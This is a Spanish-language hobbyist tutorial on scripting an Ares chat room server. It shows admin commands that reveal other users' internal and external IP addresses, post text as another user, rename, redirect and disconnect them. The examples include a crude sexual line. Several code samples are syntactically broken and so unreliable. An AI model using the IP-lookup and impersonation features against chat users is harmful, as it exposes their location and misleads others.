userobj.externalIp = IP externa del usuario que hace el comando
userobj.localIp = IP interna del usuario que hace el comando
userobj.version = Version del ares del usuario que hace el comando

tUser.id = ID del usuario al que le hacen la accion

  ^------ en esto, solo tienen que cambiar userobj por tUser. (Asi me ahorro explicar)

 


//----- Tambien para hacer mas facil las cosas, usemos variables-----//

Las variables, sirven, segun yo, para hacer mas facil las cosas...

Por ejemplo, si tengo una ropa, y la quiero poner en el script, y la voy a usar en todos los comandos
Tengo que crear una variable.

var rOpa="||----> otto <----||";         <--- esa seria la ropa... y siempre tenes
que poner un ; al final de la variable

Y luego activarla:
rOpa=true;

 

//----- Para salida y entrada de usuarios ------//

 

Para que anuncie la llegada de un usuario, tenes que poner aparte en tu script esto:

on Join = function(userobj, text){
print(0, "Vamos loco, llego " +userobj.name+ " tu ID es " +userobj.id+ " pasala bien (Y)") ;
}


Para que anuncie cuando un usuario se va, tenes que poner:

onPart = function(userobj, text){
print(0, "Uh, que pena. Se fue " +userobj.name+ " );
}

 

//---------Otras acciones--------//


Estas acciones son para el usuario que usted quieras

 

user(ID).admin=level        Para el level del otro

user(ID).sendText("Me gusta por la cola")          Para clonar al otro

user(ID).localIp          Para ver el IP interno del otro

user(ID).externalIp       Para ver el IP externo del otro

user(id).version         Para ver la version del ares del otro

user(ID).name="nick"       Para cambiar nick al otro

user(ID).redirect("HASLINK") Para redireccionar al otro a otra sala


//-------- el script te queda asi si usas estas funciones------//

 

print(0, "Script cargado") ;

function onCommand(userobj, cmdText, tUser, arguments) {
if(cmdText.substr(0,9)=="#comando" && userobj.admin>=51){
print(0, "Este comando es una prueba") ;
}}

on Join = function(userobj, text){
print(0, "Vamos loco, llego " +userobj.name+ " tu ID es " +userobj.id+ " pasala bien (Y)") ;
}

onPart = function(userobj, text){
print(0, "Uh, que pena. Se fue " +userobj.name+ " );
}

if(cmdText.substr(0,9)=="#adios " && userobj.admin>=51){
user(tUser.id).disconnect()
}


Ahora para poner colores al script hay maneras con un script  de java  como el   javascript2.js  u  otro ke tenga la funcion  #aecode   que da la misma funcion convierte los colores a a los codigos del script y tambien las letras unicodes las convierte  a codigos para el script, voy a poner un ejemplo:   uneval ("     ")  en medio de los parentises ponen  los colores  y letras  que desean convertir.

"x0310Bienvenido x0306a x0303mi x0305sala"      


Hoy habia 1 visitantes (1 clics a subpáginas) ¡Aqui en esta página!
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis